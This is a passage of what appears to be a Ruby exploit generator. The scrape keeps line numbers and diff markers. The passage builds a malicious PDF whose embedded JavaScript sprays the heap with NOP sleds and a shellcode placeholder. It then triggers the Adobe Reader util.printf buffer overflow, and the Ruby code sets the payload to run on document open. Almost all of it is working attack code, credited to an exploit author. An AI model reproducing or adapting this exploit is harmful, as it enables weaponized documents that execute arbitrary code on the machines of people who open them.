|
46
|
-
//Exploit by Debasis Mohanty (aka nopsledge/Tr0y)
|
|
47
|
-
//www.coffeeandsecurity
|
|
48
|
-
//www.hackingspirits.com
|
|
49
|
-
*/
|
|
50
|
-
|
|
51
|
-
app.alert("Prepare the spray");
|
|
52
|
-
|
|
53
|
-
var shellcode = unescape("#{shellcode}");
|
|
54
|
-
|
|
55
|
-
//Heap Spray starts here - Kiddos dont mess up with this
|
|
56
|
-
var nop ="";
|
|
57
|
-
for (i = 128;i >= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
|
|
58
|
-
heapblock = nop + shellcode;
|
|
59
|
-
|
|
60
|
-
bigblock = unescape("%u9090%u9090");
|
|
61
|
-
headersize = 20;
|
|
62
|
-
spray = headersize+heapblock.length
|
|
63
|
-
while (bigblock.length<spray) bigblock+=bigblock;
|
|
64
|
-
|
|
65
|
-
fillblock = bigblock.substring(0, spray);
|
|
66
|
-
block = bigblock.substring(0, bigblock.length-spray);
|
|
67
|
-
|
|
68
|
-
while(block.length+spray < 0x40000) block = block+block+fillblock;
|
|
69
|
-
|
|
70
|
-
mem = new Array();
|
|
71
|
-
for (i=0;i<1400;i++) mem[i] = block + heapblock;
|
|
72
|
-
|
|
73
|
-
app.alert("Pull the trigger");
|
|
74
|
-
|
|
75
|
-
// reference snippet from core security
|
|
76
|
-
// http://www.coresecurity.com/content/adobe-reader-buffer-overflow
|
|
77
|
-
|
|
78
|
-
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
|
|
79
|
-
util.printf("%45000f",num);
|
|
80
|
-
// util.printf("%45000.45000f", 0);
|
|
81
|
-
|
|
82
|
-
|
|
|
83
|
-
|
|
84
|
-
exploit = Action::JavaScript Stream.new(jscript)
|
|
85
|
-
pdf.onDocumentOpen( exploit )
|
|
86
|
-
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
87
|
-
|